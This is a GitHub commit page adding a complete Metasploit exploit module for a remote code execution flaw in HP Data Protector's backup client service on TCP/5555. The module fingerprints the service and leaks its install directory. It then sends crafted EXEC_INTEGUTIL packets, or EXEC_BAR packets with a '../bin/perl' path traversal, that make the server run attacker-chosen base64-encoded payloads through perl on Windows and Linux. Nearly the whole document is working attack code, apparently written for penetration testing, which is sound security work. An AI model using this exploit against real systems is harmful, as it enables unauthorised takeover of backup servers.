Skip to content

Commit dbaf9c5

Browse files
committed
Land rapid7#4001 - HP Data Protector EXEC_INTEGUTIL Remote Code Execution
2 parents 935a232 + 39a09ad commit dbaf9c5

File tree

1 file changed

+354
-0
lines changed

1 file changed

+354
-0
lines changed
Lines changed: 354 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,354 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Powershell
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution',
17+
'Description' => %q{
18+
This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists
19+
in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL
20+
request allows to execute arbitrary commands from a restricted directory. Since it
21+
includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute
22+
arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but
23+
an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP
24+
Data Protector for linux. This module has been tested successfully on HP Data Protector
25+
9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.
26+
},
27+
'Author' =>
28+
[
29+
'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery
30+
'juan vazquez' # msf module
31+
],
32+
'References' =>
33+
[
34+
[ 'ZDI', '14-344']
35+
],
36+
'Payload' =>
37+
{
38+
'DisableNops' => true
39+
},
40+
'DefaultOptions' =>
41+
{
42+
# The powershell embedded payload takes some time to deploy
43+
'WfsDelay' => 20
44+
},
45+
'Targets' =>
46+
[
47+
[ 'Linux 64 bits / HP Data Protector 9',
48+
{
49+
'Platform' => 'unix',
50+
'Arch' => ARCH_CMD,
51+
'Payload' => {
52+
'Compat' => {
53+
'PayloadType' => 'cmd cmd_bash',
54+
'RequiredCmd' => 'perl gawk bash-tcp openssl python generic'
55+
}
56+
}
57+
}
58+
],
59+
[ 'Windows 64 bits / HP Data Protector 9',
60+
{
61+
'Platform' => 'win',
62+
'Arch' => ARCH_CMD,
63+
'Payload' => {
64+
'Compat' => {
65+
'PayloadType' => 'cmd',
66+
'RequiredCmd' => 'powershell'
67+
}
68+
}
69+
}
70+
]
71+
],
72+
'DefaultTarget' => 0,
73+
'Privileged' => true,
74+
'DisclosureDate' => 'Oct 2 2014'
75+
))
76+
77+
register_options(
78+
[
79+
Opt::RPORT(5555)
80+
], self.class)
81+
end
82+
83+
def check
84+
fingerprint = get_fingerprint
85+
86+
if fingerprint.nil?
87+
return Exploit::CheckCode::Unknown
88+
end
89+
90+
if fingerprint =~ /Data Protector A\.(\d+\.\d+)/
91+
version = $1
92+
vprint_status("#{peer} - Windows / HP Data Protector version #{version} found")
93+
elsif fingerprint =~ / INET/
94+
vprint_status("#{peer} - Linux / HP Data Protector found")
95+
return Exploit::CheckCode::Detected
96+
else
97+
return Exploit::CheckCode::Safe
98+
end
99+
100+
if Gem::Version.new(version) <= Gem::Version.new('9')
101+
return Exploit::CheckCode::Appears
102+
end
103+
104+
Exploit::CheckCode::Detected # there is no patch at the time of module writing
105+
end
106+
107+
def exploit
108+
rand_exec = rand_text_alpha(8)
109+
print_status("#{peer} - Leaking the HP Data Protector directory...")
110+
leak = leak_hp_directory(rand_exec)
111+
dir = parse_dir(leak, rand_exec)
112+
113+
if dir.nil?
114+
dir = default_hp_dir
115+
print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}")
116+
else
117+
unless valid_target?(dir)
118+
print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...")
119+
end
120+
end
121+
122+
if target.name =~ /Windows/
123+
#command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
124+
print_status("#{peer} - Executing payload...")
125+
execute_windows(payload.encoded, dir)
126+
else
127+
print_status("#{peer} - Executing payload...")
128+
execute_linux(payload.encoded, dir)
129+
end
130+
end
131+
132+
def peer
133+
"#{rhost}:#{rport}"
134+
end
135+
136+
def build_pkt(fields)
137+
data = "\xff\xfe" # BOM Unicode
138+
fields.each do |v|
139+
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
140+
data << Rex::Text.to_unicode(" ") # Separator
141+
end
142+
143+
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
144+
return [data.length].pack("N") + data
145+
end
146+
147+
def get_fingerprint
148+
fingerprint = get_fingerprint_windows
149+
if fingerprint.nil?
150+
fingerprint = get_fingerprint_linux
151+
end
152+
153+
fingerprint
154+
end
155+
156+
def get_fingerprint_linux
157+
connect
158+
159+
sock.put([2].pack("N") + "\xff\xfe")
160+
begin
161+
res = sock.get_once(4)
162+
rescue EOFError
163+
disconnect
164+
return nil
165+
end
166+
167+
if res.nil?
168+
disconnect
169+
return nil
170+
else
171+
length = res.unpack("N")[0]
172+
end
173+
174+
begin
175+
res = sock.get_once(length)
176+
rescue EOFError
177+
return nil
178+
ensure
179+
disconnect
180+
end
181+
182+
if res.nil?
183+
return nil
184+
end
185+
186+
res
187+
end
188+
189+
def get_fingerprint_windows
190+
connect
191+
192+
sock.put(rand_text_alpha_upper(64))
193+
begin
194+
res = sock.get_once(4)
195+
rescue ::Errno::ECONNRESET, EOFError
196+
disconnect
197+
return nil
198+
end
199+
200+
if res.nil?
201+
disconnect
202+
return nil
203+
else
204+
length = res.unpack("N")[0]
205+
end
206+
207+
begin
208+
res = sock.get_once(length)
209+
rescue EOFError
210+
return nil
211+
ensure
212+
disconnect
213+
end
214+
215+
if res.nil?
216+
return nil
217+
end
218+
219+
Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
220+
end
221+
222+
def leak_hp_directory(rand_exec)
223+
connect
224+
pkt = build_pkt([
225+
"2", # Message Type
226+
rand_text_alpha(8),
227+
rand_text_alpha(8),
228+
rand_text_alpha(8),
229+
rand_text_alpha(8),
230+
rand_text_alpha(8),
231+
"28", # Opcode EXEC_INTEGUTIL
232+
rand_exec,
233+
])
234+
235+
sock.put(pkt)
236+
begin
237+
res = sock.get_once(4)
238+
rescue EOFError
239+
disconnect
240+
return nil
241+
end
242+
243+
if res.nil?
244+
disconnect
245+
return nil
246+
else
247+
length = res.unpack("N")[0]
248+
end
249+
250+
begin
251+
res = sock.get_once(length)
252+
rescue EOFError
253+
return nil
254+
ensure
255+
disconnect
256+
end
257+
258+
if res.nil?
259+
return nil
260+
end
261+
262+
if res =~ /No such file or directory/ # Linux signature
263+
return res
264+
else # deal as windows target
265+
return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
266+
end
267+
end
268+
269+
def parse_dir(data, clue)
270+
if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/
271+
dir = $1
272+
print_good("#{peer} - HP Data Protector directory found on #{dir}")
273+
elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/
274+
dir = $1
275+
print_good("#{peer} - HP Data Protector directory found on #{dir}")
276+
else
277+
dir = nil
278+
end
279+
280+
dir
281+
end
282+
283+
def valid_target?(dir)
284+
if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/
285+
return true
286+
elsif target.name =~ /Linux/ && dir.start_with?('/')
287+
return true
288+
end
289+
290+
false
291+
end
292+
293+
def default_hp_dir
294+
if target.name =~ /Windows/
295+
dir = 'C:\\Program Files\\OmniBack\\'
296+
else # linux
297+
dir = '/opt/omni/lbin/'
298+
end
299+
300+
dir
301+
end
302+
303+
def execute_windows(cmd, hp_dir)
304+
connect
305+
pkt = build_pkt([
306+
"2", # Message Type
307+
rand_text_alpha(8),
308+
rand_text_alpha(8),
309+
rand_text_alpha(8),
310+
rand_text_alpha(8),
311+
rand_text_alpha(8),
312+
"28", # Opcode EXEC_INTEGUTIL
313+
"perl.exe",
314+
"-I#{hp_dir}lib\\perl",
315+
"-MMIME::Base64",
316+
"-e",
317+
"system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
318+
])
319+
sock.put(pkt)
320+
disconnect
321+
end
322+
323+
def execute_linux(cmd, hp_dir)
324+
connect
325+
pkt = build_pkt([
326+
'2', # Message Type
327+
rand_text_alpha(8),
328+
rand_text_alpha(8),
329+
rand_text_alpha(8),
330+
rand_text_alpha(8),
331+
rand_text_alpha(8),
332+
'11', # Opcode EXEC_BAR
333+
rand_text_alpha(8),
334+
rand_text_alpha(8),
335+
rand_text_alpha(8),
336+
rand_text_alpha(8),
337+
rand_text_alpha(8),
338+
rand_text_alpha(8),
339+
rand_text_alpha(8),
340+
rand_text_alpha(8),
341+
rand_text_alpha(8),
342+
rand_text_alpha(8),
343+
rand_text_alpha(8),
344+
"../bin/perl",
345+
rand_text_alpha(8),
346+
"-I#{hp_dir}lib/perl",
347+
'-MMIME::Base64',
348+
'-e',
349+
"system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
350+
])
351+
sock.put(pkt)
352+
disconnect
353+
end
354+
end

0 commit comments

Comments
 (0)